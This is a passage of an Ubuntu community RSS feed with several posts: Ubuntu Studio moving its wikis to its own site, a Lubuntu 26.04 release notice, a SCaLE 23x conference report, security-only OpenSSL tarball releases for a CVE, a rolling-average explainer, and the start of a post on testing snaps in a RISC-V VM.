<figure class="alignright size-medium"><img decoding="async" width="300" height="160" src="https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-300x160.png?wsr" alt="Homepage of Ubuntu Studio showcasing a content creation studio with various creative tools including musical instruments, a camera, and editing software elements." class="wp-image-5119" srcset="https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-300x160.png 300w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-1024x545.png 1024w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-768x409.png 768w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-1536x817.png 1536w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-2-1200x639.png 1200w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-2.png 1554w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph">Ubuntu Studio&#8217;s web presence has been spread across several Canonical-hosted systems for a long time: the main website on an old Canonical web server, the Ubuntu Community Help Wiki at <code>help.ubuntu.com/community/UbuntuStudio</code>, and the Ubuntu Developer Wiki at <code>wiki.ubuntu.com/UbuntuStudio</code>. Those platforms served their purpose, but each had become a poor fit for how the project actually works today.</p>



<h2 class="wp-block-heading">What&#8217;s Moving</h2>



<p class="wp-block-paragraph"><strong>The main Ubuntu Studio website</strong> has already moved away from Canonical hosting and onto its current home. That move was driven by necessity: Canonical shut down the old web server that had hosted the site, so Ubuntu Studio needed a new home for its primary web presence. This has been a mostly transparent process and most users would never have noticed a difference.</p>


<div class="wp-block-image">
<figure class="alignright size-medium is-resized"><img fetchpriority="high" decoding="async" width="300" height="233" src="https://ubuntustudio.org/wp-content/uploads/2026/05/image-300x233.png?wsr" alt="Screenshot of the Ubuntu Studio Community Help page, featuring sections for user and developer wikis, support information, and links to contributions and resources." class="wp-image-5113" style="width:197px;height:auto" srcset="https://ubuntustudio.org/wp-content/uploads/2026/05/image-300x233.png 300w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-768x597.png 768w, https://ubuntustudio.org/wp-content/uploads/2026/05/image.png 945w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph"><strong>The Community Help Wiki</strong> — the place where users have always gone to find answers about audio configuration, hardware support, the Audio Handbook, and getting started with Ubuntu Studio — is being mirrored and maintained directly on ubuntustudio.org at <code>/help/</code>. Every page you&#8217;re used to is coming with us: the Pro Audio Intro, the Ubuntu Studio Audio Handbook and all its chapters, the FAQ, hardware support information, terminal basics, troubleshooting guides, and community information. Most of this is outdated now, and we need help to bring it up to modernization.</p>


<div class="wp-block-image">
<figure class="alignright size-medium is-resized"><img decoding="async" width="300" height="214" src="https://ubuntustudio.org/wp-content/uploads/2026/05/image-1-300x214.png?wsr" alt="Screenshot of the Ubuntu Studio developer wiki homepage featuring navigation links, a welcome message, and information about the Ubuntu Studio project and community." class="wp-image-5116" style="width:255px;height:auto" srcset="https://ubuntustudio.org/wp-content/uploads/2026/05/image-1-300x214.png 300w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-1-768x548.png 768w, https://ubuntustudio.org/wp-content/uploads/2026/05/image-1.png 933w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph"><strong>The Developer Wiki</strong> — home to the team&#8217;s internal processes, release planning, testing documentation, artwork resources, and packaging and development notes — is moving to ubuntustudio.org at <code>/wiki/</code>. The full section structure is preserved: Testing, PR &amp; Support, Artwork, Packaging/Development, Documentation, and Organization are all there. This information is also outdated.</p>



<h2 class="wp-block-heading">Why Now</h2>



<p class="wp-block-paragraph">The website move and the wiki move do not have exactly the same origin.</p>



<p class="wp-block-paragraph">For the main website, the trigger was straightforward: Canonical shut down the old web server that hosted it. Ubuntu Studio had to move the site in order to keep a public home on the web.</p>



<p class="wp-block-paragraph">For the help and developer wikis, the issue was the editing experience and maintenance burden. The old MoinMoin-based wiki workflow is cumbersome, slow, and awkward to work with. Its markup is not standard Markdown, which makes editing, reviewing, and migrating content more difficult than it should be. Over time, that friction made it harder to keep pages current, fix outdated instructions, and encourage casual contributors to improve documentation.</p>



<p class="wp-block-paragraph">Meanwhile, ubuntustudio.org has been running on WordPress for some time, and the team has been using GitHub for development work. By routing our documentation through a GitHub repository — using the Git it Write plugin to publish markdown directly to WordPress — we get something we&#8217;ve never really had before: a documentation workflow that fits naturally alongside our other development work. Pull requests, issue tracking, version history, and a low barrier to entry for new contributors all come with it.</p>



<h2 class="wp-block-heading">What This Means for Contributors</h2>



<p class="wp-block-paragraph">If you&#8217;ve ever wanted to fix something on the old wiki and been put off by the process, this is your opening. The content lives in a <a href="https://github.com/UbuntuStudio-Official/ubuntustudio-website">public GitHub repository</a>. Find the file, fix the text, open a pull request. That&#8217;s it.</p>



<p class="wp-block-paragraph">The content is organized into buckets that map to the old wiki structure:</p>



<ul class="wp-block-list">
<li><code>help/content/support/</code> — support pages (FAQ, hardware, audio configuration, etc.)</li>



<li><code>help/content/handbook/</code> — the Audio Handbook and Pro Audio Intro</li>



<li><code>help/content/community/</code> — IRC, mailing lists, joining the team</li>



<li><code>help/content/reference/</code> — resources, links, wiki guide</li>



<li><code>wiki/content/ubuntu-studio/</code> — developer wiki pages</li>
</ul>



<p class="wp-block-paragraph">If you&#8217;re editing a page that has outdated information, and there&#8217;s plenty of it, particularly around the old PulseAudio/JACK workflow that predates PipeWire — this is the place to update it.</p>



<h2 class="wp-block-heading">What Isn&#8217;t Changing</h2>



<p class="wp-block-paragraph">The old wiki pages at <code>help.ubuntu.com</code> and <code>wiki.ubuntu.com</code> aren&#8217;t going anywhere immediately. Canonical maintains those as part of Ubuntu infrastructure, and they&#8217;ll continue to exist. Our goal isn&#8217;t to break any existing bookmarks or search results, it&#8217;s to have a home where we can keep things current.</p>



<p class="wp-block-paragraph">We&#8217;re also not rewriting the documentation wholesale. The content of the mirrored pages is as faithful to the originals as it can be, with updates where the old guidance referred to software or workflows that no longer apply to current Ubuntu Studio releases.</p>



<h2 class="wp-block-heading">Where to Find Everything</h2>



<ul class="wp-block-list">
<li>Help pages: <a href="https://ubuntustudio.org/help/">ubuntustudio.org/help/</a></li>



<li>Developer wiki: <a href="https://ubuntustudio.org/wiki/">ubuntustudio.org/wiki/</a></li>



<li>GitHub repository: <a href="https://github.com/UbuntuStudio-Official/ubuntustudio-website">github.com/UbuntuStudio-Official/ubuntustudio-website</a></li>
</ul>



<p class="wp-block-paragraph">If you find something wrong, missing, or out of date — open a pull request, or file an issue and let the team know.</p>]]></description>
      <source url="http://ubuntustudio.org/category/planetubuntu/feed/">Ubuntu Studio</source>
    </item>
    <item>
      <title>Lubuntu 26.04 LTS Released!</title>
      <link>https://lubuntu.me/lubuntu-26-04-lts-released/</link>
      <guid isPermaLink="true">https://lubuntu.me/lubuntu-26-04-lts-released/</guid>
      <pubDate>Thu, 23 Apr 2026 14:56:36 GMT</pubDate>
      <description><![CDATA[Thanks to the hard work from our contributors, Lubuntu 26.04 LTS has been released. With the codename Resolute Raccoon, Lubuntu 26.04 is the 30th release of Lubuntu, the 16th release of Lubuntu with LXQt as the default desktop environment. Download and Support Lifespan With Lubuntu 26.04 being a long-term support interim release, it will follow [&#8230;]]]></description>
      <source url="http://lubuntu.me/feed/?mrss=off">Lubuntu Blog</source>
    </item>
    <item>
      <title>Quote #75514</title>
      <link>https://mako.cc/copyrighteous/quote-75514</link>
      <guid isPermaLink="true">https://mako.cc/copyrighteous/quote-75514</guid>
      <pubDate>Tue, 31 Mar 2026 21:13:00 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">Although I never submitted to it, I made several appearances in the now-defunct quote database on bash.org (QDB). I&#8217;m dealing with a broken keyboard now, and went to dig hard to find <a href="https://web.archive.org/web/20221210050632/http://bash.org/?75514">this classic in the Wayback machine</a>. I thought I would put it back on the web:</p>



<pre class="wp-block-code"><code><p class="quote">&lt;mako> my letter "eye" stopped worng
&lt;luca> k, too?
&lt;mako> yeah
&lt;luca> sounds like a mountain dew spill
&lt;mako> and comma
&lt;mako> those three
&lt;mako> ths s horrble
&lt;luca> tme for a new eyboard
&lt;luca> 've successfully taen my eyboard apart and fxed t by cleanng t wth alcohol
&lt;mako> stop mang fun of me
&lt;mako> ths s a laptop!</p></code></pre>



<p class="wp-block-paragraph">It was, in fact, horrble.</p>



<p class="wp-block-paragraph"></p>]]></description>
      <source url="http://mako.cc/copyrighteous/?flav=rss">Benjamin Mako Hill</source>
    </item>
    <item>
      <title>SCaLE 23x</title>
      <link>https://princessleia.com/journal/2026/03/scale-23x/</link>
      <guid isPermaLink="true">https://princessleia.com/journal/2026/03/scale-23x/</guid>
      <pubDate>Mon, 16 Mar 2026 20:47:36 GMT</pubDate>
      <description><![CDATA[<p>Last week I had the pleasure of attending SCaLE 23x in Pasadena, California. I love SCaLE, it&#8217;s probably my favorite conference. It&#8217;s big, but it still feels so local, and I always walk away having met new, exceptional people, and with the warmth of connection I feel from seeing some of my closest friends in the open source world. The weather is almost always gorgeous around this time of year, and there are a ton of places that are easy to walk to for lunch and dinner. My arrival ritual these days it taking a walk south to the Whole Foods nearby to pick up some breakfast foods and coffees to enjoy each morning before the conference kicks off at 10AM. 10AM! What a glorious time to start!</p>
<p>The flight down from San Francisco was a quick regional flight into Burbank, my go-to airport for this conference so I can avoid LAX. And then I spent Wednesday evening getting settled in and putting some finishing touches on my talk based on some feedback I had requested from some community members working on projects I had an interesting in learning about.</p>
<p>Thursday is when the magic began! I spent the morning picking up my badge and immediately seeing several familiar faces. It didn&#8217;t take long to meet up long time friends from our time in the Ubuntu community Jorge and Amber, and we all went out to lunch.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_amber_lyz_jorge.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_amber_lyz_jorge_sm.jpg"></a></div>
<p>Talk-wise on Thursday I found myself attending several AI talks as part of the <a href="https://www.kwaai.ai/summit2026">Kwaai Summit</a>.</p>
<p>So, AI. We are in the middle of an AI revolution in the tech industry and things are moving <em>fast</em>. A year ago a lot of the AI being used in tech was being marketed as <em>helpers</em> for developers. At SCaLE I heard someone suggest that we treat AI like a junior developer. We&#8217;re now <em>replacing</em> junior developers. But I had an experience over the holidays where I was in the trenches with code these &#8220;AI junior developers&#8221; were spitting out, and it needs <em>a lot</em> of guidance. Without that, the code, documentation, and even commit messages can come out nonsensical and solving things in way that is not &#8220;clever&#8221;, they legitimately don&#8217;t make sense when viewed in the correct context. It also took away the thoughtful collaboration that I love of development: <em>How do we solve this? Can you explain what I&#8217;m reviewing? Why did you make this decision?</em> When you&#8217;re met with a series of shrugs and a finger pointed at the AI, the job of thinking ends up solely on the person reviewing the change, and that means more experienced developers doing the reviews are being buried in AI slop code.</p>
<p>The technology will get better, and I anticipate an absolute decimation of our industry job-wise. I&#8217;m not exempt from this. Plus, there are real environmental concerns about power consumption and resources being used to build out all the data centers to implement these AI solutions, and I worry that it will be painful for our society in a way that may not be ethical. But we aren&#8217;t going back, that&#8217;s not how technology works in our world.</p>
<p>Add in that so much of this space is flush with more money than the world has ever seen, and decisions driven by greed and a horrifying lack of consideration for humanity seem to winning.</p>
<p>So, why did I run off on this terrifying, negative AI rant? I wanted to share what head space I was in when I walked into SCaLE. I&#8217;ve used AI tooling, and I&#8217;m constantly learning, but I&#8217;m <em>deeply worried</em> about it.</p>
<p>Thankfully, there are still good people doing good things in AI and some of those people were speaking at SCaLE.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_openbgi.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_openbgi_sm.jpg"></a></div>
<p>As I strolled into the Kwaai Summit it was refreshing to be reminded of some of the more optimistic views of AI, and how success doesn&#8217;t necessarily have to follow the money. AI can be used in ways that benefit us all. There are tedious tasks and &#8220;impossible&#8221; problems that are starting to be solved by AI. Can I actually get a good handle on a big chunk of open source projects on GitHub supporting s390x? Possibly! Can we finally cure some of the most dangerous forms of cancer? Maybe! And there are people building communities around things like Beneficial General Intelligence (BGI, a play on AGI, the Artificial General Intelligence that tends to be the holy grail of AI) where things like ethics and sustainability are considered. These are my people. These are the people who built the first online social networks and open source projects. This is the messaging that I found so inspiring when I first got into open source software and what made me so fully devote my life&#8217;s work to it. It was nice to be there.</p>
<p>On Friday I attended Guinevere Saenger&#8217;s talk on building out developer infrastructures, which brought up a lot of points one might not necessarily think about when doing so. From there I went to Jon &#8220;maddog&#8221; Hall&#8217;s talk on <em>&#8220;Open Source In Computer Higher Education &#8211; Past, Present and Future&#8221;</em> which was definitely a highlight for me. I don&#8217;t need to learn how to teach computer science in higher education, but I do love hearing whatever he has to talk about because he has so many wonderful stories. He took us on a tour of this career with an eye toward education, dropping references from everything to the IBM System/360 to learning assembly from difficult text books that he read solo and then went on to teach. He&#8217;s a strong proponent for learning topics deeply, and teaching students to learn how to learn so they can thrive in an industry that requires continuous learning. We&#8217;re all in agreement there.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_maddog.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_maddog_sm.jpg"></a></div>
<p>That evening I joined a bunch of folks from <a href="https://sfconservancy.org/">The Software Freedom Conservancy</a> for dinner and software freedom discussions. It was a lovely evening and I had the pleasure of meeting some new people, including a fellow from <a href="https://oaklandprivacy.org/">Oakland Privacy</a> who told me about the <a href="https://www.straycap.org/">StrayCap Multispace</a> in Hayward that I&#8217;ll have to check out some time soon!</p>
<p>I&#8217;ve supported the Conservancy for many years, and have known several of their staff for even longer. Need a free software license violation acted upon? This is the group that does that. They get a remarkable amount done with the staff and budget they have, and I&#8217;m incredibly grateful for that. Please consider <a href="https://sfconservancy.org/donate/">donating</a>.</p>
<p>The keynote from Cindy Cohn, Executive Director of the EFF, on Saturday morning was <em>wonderful</em>. I&#8217;ve been a supporter of of the EFF for years, and am closely aligned with most of their views. It was <em>fascinating</em> to hear about her work in this space, and the fundamental protections that she&#8217;s worked to help pioneering technologists secure over the years. I vaguely knew that encryption was restricted by the US government in the earliest days of the internet, but I didn&#8217;t realize it was classified as <em>munitions</em> which ultimately meant that encryption algorithms couldn&#8217;t be shared and collaborated on online. Wow. Could you imagine the internet without encryption? Our world? Cindy, with an army of early free software hackers, argued in federal court in San Francisco and for over a decade beyond that to make sure encryption was freed from this classification. This story was the first of three that she dives into in her new book <a href="https://www.eff.org/Privacys-Defender">Privacy&#8217;s Defender: My Thirty-Year Fight Against Digital Surveillance</a> which I promptly pre-ordered. Her call to action to us hackers today was to stay engaged in this fight so that we show up for all the future legal battles that have the potential to threaten the future of our world and lives with regard to digital freedom. I had the pleasure of running into her later in the conference to thank her for her talk, and I had the presence of mind to pull out a piece of paper to have her sign so I could put it in my book when it arrives; I&#8217;ll have a signed copy, kind of! Then I went to the EFF booth to do my annual contribution.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_cohn_keynote.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_cohn_keynote_sm.jpg"></a></div>
<p>After the keynote I was able to meet up with Kaitlyn Davis, a new colleague at IBM who joined us from HashiCorp and I just started working with a couple weeks ago. She happens to live in southern California! So I made the case for her to come out to SCALE. She has some really helpful ideas around leveraging AI for open source contribution tracking and so we were able to sit down for about an hour and chat about IBM in general and drill down into some of the problems I&#8217;ve been focused on to see where she wants to jump in. It&#8217;s not every day that I have the pleasure of working with someone like her, so I&#8217;m really eager to see what we come up with together in the coming months. See? I&#8217;m not negative on all uses of AI.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_lyz_kaitlyn.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_lyz_kaitlyn_sm.jpg"></a></div>
<p>From there, it was time for my talk on <a href="https://www.socallinuxexpo.org/scale/23x/presentations/open-source-closed-ecosystems">Open Source in Closed Ecosystems</a>. Originally I was planning on just drawing from my experience in the mainframe world, but after a chat with John Mertic of The Open Mainframe Project I was convinced to draw from a broader pool of expertise and to look into Automotive and Motion Picture industry use cases. I was fortunate that Alison Chaiken of Automotive Grade Linux (AGL) and Emily Olin who has worked on both AGL and the Academy Software Foundation (ASWF) were able to get back to me quickly regarding questions I had about the initiatives. I was also thankful to get time with Nithya Ruff whose expertise in running open source software programs across the industry has been incredibly valuable to my own work, and the broader community through her extensive work in the community of the years, and direct contributions to the <a href="https://todogroup.org/">TODO Group</a>.</p>
<p>The talk had some rough edges flow-wise, and I&#8217;d like to flesh it out with more examples and talk to more people in industries where open source hasn&#8217;t taken a firm hold yet to see what barriers they&#8217;re encountering in their organizations. But I had some great conversations after my talk and I think it generally went well. Slides from the talk are available here: <a href="https://princessleia.com/presentations/2026/Open_Source_in_Closed_Ecosystems_-_SCALE_23x.pdf">/presentations/2026/Open_Source_in_Closed_Ecosystems_-_SCALE_23x.pdf</a> (1.3M pdf)</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_lyz_presentation.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_lyz_presentation_sm.jpg"></a></div>
<p>It was nice to run into Dave Neary, whose Open Source in Business series on YouTube got me some clues I need for my talk too. He gave a couple multiarch talks, and though they were focused on ARM64 it was still nice to hear someone talk about multiarch manifests and containers, since I bump into some confusion from community members about them. He gave some nice demos using Argo CD and Argo Rollouts that I&#8217;d like to take a closer look at.</p>
<p>Speaking of multiarch, I then enjoyed a talk by Amy Parker whose talk focused on QEMU user mode. I&#8217;ve used QEMU on and off over the years, but honestly since I&#8217;ve shifted my focus to bare metal testing, I&#8217;ve used it a lot less. I don&#8217;t have a lot of experience with the user mode emulation that she covered, which made the talk a fascinating dive through binfmt_misc, ld_preload, and chroots to accomplish a lot of interesting work across architectures. She also talked about using <a href="https://icculus.org/fatelf/">FatELF</a> to create universal binaries, which wasn&#8217;t even on my radar. So many fun things to dig into!</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_parker_qemu.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_parker_qemu_sm.jpg"></a></div>
<p>Saturday evening I had the pleasure of joining Nathan Handler for dinner at a sushi place nearby. I&#8217;ve now had my first sake bomb. But just one!</p>
<p>Happy Sunday! The opening keynote was presented by Mark Russinovich of Microsoft, who, poor guy, spent the first 15 minutes of his talk convincing us that in spite of being known for Windows Internals, both he and Microsoft have a lot of Linux credibility. With that taken care of, he dove straight into a great tour of open source security solutions and how they relate to the growing interest in secure supply chains today. I was happy to see the security components of my own talk from the previous day reiterated, but more broadly, I&#8217;m glad SCaLE brought someone in to talk about all of this. Open source has made tremendous strides in recent years related to security, but it doesn&#8217;t get as much attention as I believe it deserves, both in terms of usage and awareness, and having more people to work on it, and its importance is only increasing.</p>
<p>The expo hall at SCaLE is always a delightful place to walk through, and this year was no exception. They have a wonderful mix of big, paid booth areas for larger companies, and smaller booths for non-profits, so it always brings a great assortment of people. I had a lovely time catching up with my friends from the Ubuntu community. It&#8217;s always a pleasure to catch up with Nathan Haines and George Mulak who&#8217;ve been quite involved in the Los Angeles computing scene for years. It was nice to get some time to chat with Erich Eickmeyer, lead for Ubuntu Studio, and I was pleased to learn that his wife, Amy Eickmeyer, is a professional educator and actually got the Edubuntu flavor off the ground again back in 2022! I had planned on a DIY lockdown of Ubuntu for our kids this year, but I&#8217;ll have to take a look at Edubuntu now.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_ubuntu_booth.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_ubuntu_booth_sm.jpg"></a></div>
<p>And the RISC-V booth was on my list too, as I&#8217;m always eager to learn the latest (you know me and architectures!). That&#8217;s where I met a fellow IBMer who was involved with the <a href="https://workswithriscv.net/">Works with RISC-V community</a> which I didn&#8217;t even know existed. Cool. I was able to ask about HDMI support on my VisionFive 2 and learn that there should be mainline kernel support soon, and learned that people are saying good things about the latest RISC-V mainboard for the <a href="https://frame.work/">Framework laptop</a>. My kids like to remind me I have a lot of laptops, so I&#8217;ve held off on Framework for now, but I&#8217;ll have to take a closer look at this one.</p>
<div align="center"><a href="/images/journalpics/032026/scale23x_risc-v_booth.jpg"><img decoding="async" src="/images/journalpics/032026/scale23x_risc-v_booth_sm.jpg"></a></div>
<p>I also went to a talk by Brendan O&#8217;Leary on <a href="https://www.socallinuxexpo.org/scale/23x/presentations/cobol-claude-what-hopper-knew">From COBOL to Claude: What Hopper Knew</a> (actually, his slides swapped &#8220;Claude&#8221; for &#8220;Cursor&#8221; (the AI coding environment). Things in AI move fast). I enjoyed this talk and his premise, given all I&#8217;ve said above about the inevitability of AI in our industry. He began by talking about Rear Admiral Grace Hopper&#8217;s desire to make &#8220;programming&#8221; computers a more human-language driven endeavor, and how that began with her FLOW-MATIC and ultimately COBOL, which is still widely used today. His belief is that she&#8217;d be happy that anyone today can vibe code their own application, and made the same comparison I tend to do with evolution of coding. AI does have very, very important things that differentiate it from the previous major evolutionary steps of computer programming, but I just don&#8217;t believe that things like being nondeterministic are enough to so forcefully push back on it. Most of this talk continued by talking about how software engineering practices that professionals are using will simply need to be adjusted to have a lot more planning and a lot less hands-on coding, and with these research, plan, and implement frameworks in place we&#8217;ll be able to trust the results AI comes up with a lot more. I think he&#8217;s right.</p>
<p>The conference concluded with a walk down network memory lane with Professor Douglas Comer. I love computer history, so I was familiar with a lot of the general touch points he discussed, but since his focus was on networking there were a few things I&#8217;ve missed along the way. He talked about magentic tape mailers, how Endianness caused problem with computers communicating in the early days, and how a technology like TCP/IP or even the client/server model were not obvious. His stories around how phone companies charge for transit and the sorted path to get households connected to internet was really insightful, especially when paired with the observations from Cindy Cohn the day before.</p>
<p>Huge thanks to all the volunteers who makes SCaLE happen, I&#8217;m really happy I could make it down this year, and after seeing how many kids where there, I&#8217;m going to make plans to at least bring our eldest down for the weekend next year.</p>]]></description>
      <source url="http://princessleia.com/journal/?cat=2&amp;feed=rss2">Elizabeth K. Joseph</source>
    </item>
    <item>
      <title>Security-only OpenSSL tarball releases for CVE-2026-2673</title>
      <link>http://blog.surgut.co.uk/2026/03/security-only-openssl-tarball-releases.html</link>
      <guid isPermaLink="true">http://blog.surgut.co.uk/2026/03/security-only-openssl-tarball-releases.html</guid>
      <pubDate>Mon, 16 Mar 2026 02:11:00 GMT</pubDate>
      <description><![CDATA[<p>On Friday May the 13th OpenSSL project has published advisory details for&nbsp;<a href="https://openssl-library.org/news/vulnerabilities/index.html#CVE-2026-2673">CVE-2026-2673</a>. The CVE is treated as non-important by the project. The patches are only provided as commits on the stable branches. No git tag, no precise fixed version, and no source tarballs provided.</p><p>The patches that were merged to openssl-3.5 and openssl-3.6 branches were not based on top of the last stable point release and did not split code changes &amp; documentation updates. It means that cherry-picking the commits referenced in the advisory will always lead to conflicts requiring manual resolution. It is not clear if support is provided for snapshot builds off the openssl-3.5 and openssl-3.6 branches. As the builds from the stable branches declare themselves as dev builds of the next unreleased point release. For example, in contrast to projects such as vim and glibc, with every commit to stable branches explicitly recommended for distributors to ship and is supported.</p><p>I have requested OpenSSL upstream in the past for the security fixes to branch off the last point release, commit code changes separate from the NEWS.md / CHANGES.md updates, and then merge that into the stable branches. This way the advisory that recommends cherry-picking individual commits, would actually apply conflict free - at no additional maintenance burden to the OpenSSL project and everyone who has to cherry-pick these updates. There is a wide support voiced for such strategy by the OpenSSL distributors and the OpenSSL Corporation. But this is not something that OpenSSL Project is yet choosing to provide.</p><p>To avoid duplication of work, I am starting to provide stable OpenSSL re-releases of the last upstream tagged stable point release with security only patches split into code-change only; documentation update; version update to create security only source tarball releases that are easy to build; easy to identify by the security scanners; and which cherry-pick changes without conflicts. The first two releases are published on GitHub as immutable releases with attestations:</p><p></p><ul style="text-align: left;"><li><a href="https://github.com/openssl-stable/openssl-stable/releases/tag/openssl-3.6.1%2B1">OpenSSL 3.6.1+1</a>&nbsp;- OpenSSL 3.6.1 with fix for&nbsp;CVE-2026-2673</li><li><a href="https://github.com/openssl-stable/openssl-stable/releases/tag/openssl-3.5.5%2B1">OpenSSL 3.5.5+1</a>&nbsp;- OpenSSL 3.5.5 with fix for&nbsp;CVE-2026-2673</li></ul><div>If there are any other branches, CVEs, point releases that would be useful for similar style releases, do open discussion on the <a href="https://github.com/openssl-stable/openssl-stable/discussions">GitHub Project</a>.</div><div><br /></div><div>If you find these releases useful, do star the project and download these releases. If this project gets popular, I hope that OpenSSL upstream will reconsider their releases strategy for all security releases. If you have support contracts with OpenSSL - please request OpenSSL corporation to release tagged releases and versioned tarballs.</div><p></p>]]></description>
      <source url="http://feeds.feedburner.com/tdlk">Dimitri John Ledkov</source>
    </item>
    <item>
      <title>Calculating a rolling average without keeping all the numbers around</title>
      <link>https://www.kryogenix.org/days/2026/03/14/calculating-a-rolling-average-without-keeping-all-the-numbers-around/</link>
      <guid isPermaLink="true">https://www.kryogenix.org/days/2026/03/14/calculating-a-rolling-average-without-keeping-all-the-numbers-around/</guid>
      <pubDate>Sat, 14 Mar 2026 23:23:00 GMT</pubDate>
      <description><![CDATA[<p>OK, if you know anything about maths you will read this and shake your head in dismay because it's just <em>obvious</em> and why did I even need to think about it? But... I was quite pleased to think this through, so I thought I'd write it down in case anybody else finds it useful.</p>
<p>So. Your job is to calculate the average of a set of numbers. This is not hard: the average value<sup id="sf-calculating-a-rolling-average-without-keeping-all-the-numbers-around-1-back"><a href="#sf-calculating-a-rolling-average-without-keeping-all-the-numbers-around-1" class="simple-footnote" title="maths people, I mean mean, obvs">1</a></sup> is the sum of the numbers divided by the count of the numbers. So the average of <code>2, 7, 8</code> is</p>
<div class="highlight"><pre><span></span><code><span class="mf">2</span><span class="o">+</span><span class="mf">7</span><span class="o">+</span><span class="mf">8</span><span class="w">   </span><span class="mf">17</span>
<span class="o">-----</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">5.666</span><span class="err">…</span>
<span class="w">  </span><span class="mf">3</span><span class="w">      </span><span class="mf">3</span>
</code></pre></div>

<p>You know that bit already. But now I say: ok, here's a new number to add to the end of the list: <code>12</code>. What's the average now?</p>
<p>One obvious way is to say, well, we know the numbers are <code>2, 7, 8</code>, so I'll just re-do the calculation with <code>2, 7, 8, 12</code>:</p>
<div class="highlight"><pre><span></span><code><span class="mf">2</span><span class="o">+</span><span class="mf">7</span><span class="o">+</span><span class="mf">8</span><span class="o">+</span><span class="mf">12</span><span class="w">   </span><span class="mf">29</span>
<span class="o">--------</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">7.25</span>
<span class="w">    </span><span class="mf">4</span><span class="w">       </span><span class="mf">4</span>
</code></pre></div>

<p>But that means that you have to keep all the numbers around forever. What if the list of numbers is big? That seems like hassle. It would be nice if we were able to calculate the average just from knowing what the <em>previous</em> average was, wouldn't it? So you know <code>5.666…</code> and you get told that the new number to add is 12: how do you get the new average of <code>7.25</code> just from that?</p>
<p>I needed to do this and didn't know how, so I sat and thought about it for a short time and it's actually not hard, which was good; I'd just never considered it. So, as long as you know the "current" average number, <em>and</em> you know how many numbers there were in the list, you're all good. Consider: we know the current average is <code>5.666…</code> and that there were <code>3</code> numbers in the list that made that up. We don't need to know what the 3 numbers were (<code>2, 7, 8</code>) because if the three numbers we'd been given before were <em>all</em> <code>5.666…</code> -- that is, the list of numbers up to now was <code>5.666…, 5.666…, 5.666…</code> then when we took the average of that list, it would still be <code>5.666…</code>, because that's what an average means. So, even though we don't know what the 3 numbers were, we can pretend that we do, and now say that our new list is <code>5.666…, 5.666…, 5.666…, 12</code>. And we can work out the average of that! Or, put another way, we know that the average is</p>
<div class="highlight"><pre><span></span><code>         sum of all numbers
5.666… = ------------------
          count of numbers
</code></pre></div>

<p>and because we can pretend that all the numbers were the average, we can say that the sum of all numbers is just the current average multiplied by the count:</p>
<div class="highlight"><pre><span></span><code>         5.666…, 5.666…, "count" times
5.666… = -----------------------------
                   count
</code></pre></div>

<p>and so the <em>new</em> average is:</p>
<div class="highlight"><pre><span></span><code>              (5.666…, 5.666…, "count" times) + 12
new average = -----------------------------
                       count + 1
</code></pre></div>

<p>which is</p>
<div class="highlight"><pre><span></span><code>              (current average × count) + new number
new average = --------------------------------------
                          count + 1
</code></pre></div>

<p>So if you know the current average <code>a</code>, how many numbers there have been so far <code>c</code>, and the new number <code>n</code>, then the new <code>a = ((a*c)+n)/(c+1)</code>. And you only need to keep <code>a</code> and <code>c</code> around, rather than the whole list of numbers.</p>
<p>Simple? Yes. But it was a useful thought for me that I could actually do this without having to keep the list around, which was handy in order to be able to <a href="https://mastodon.social/@sil/116230077286633335">calculate pi very inefficiently with coin flips on a BBC Micro</a>, a perfectly reasonable thing to do on your Saturday evening in my opinion.</p><ol class="simple-footnotes"><li id="sf-calculating-a-rolling-average-without-keeping-all-the-numbers-around-1">maths people, I mean mean, obvs <a href="#sf-calculating-a-rolling-average-without-keeping-all-the-numbers-around-1-back" class="simple-footnote-back">↩</a></li></ol>]]></description>
      <source url="http://feeds.feedburner.com/kryogenix">Stuart Langridge</source>
    </item>
    <item>
      <title>Running RISC-V in a VM to test my snaps</title>
      <link>https://blog.popey.com/2026/02/running-risc-v-in-a-vm-to-test-my-snaps/</link>
      <guid isPermaLink="true">https://blog.popey.com/2026/02/running-risc-v-in-a-vm-to-test-my-snaps/</guid>
      <pubDate>Sat, 21 Feb 2026 15:00:00 GMT</pubDate>
      <description><![CDATA[<p><strong>tl;dr:</strong> I wanted to test one of my snaps on riscv64. I don&rsquo;t own any RISC-V hardware. I set up a QEMU VM on my ThinkPad, installed Ubuntu desktop inside it, and it actually worked. Slowly. Very slowly. But it worked.</p>


<center><a href="https://blog.popey.com/images/2026-02-21/notepadnext.png"><img src="https://blog.popey.com/images/2026-02-21/notepadnext.png" width="540" alt="Notepad Next built for riscv processors, running in an Ubuntu VM"></a></center>

<hr>
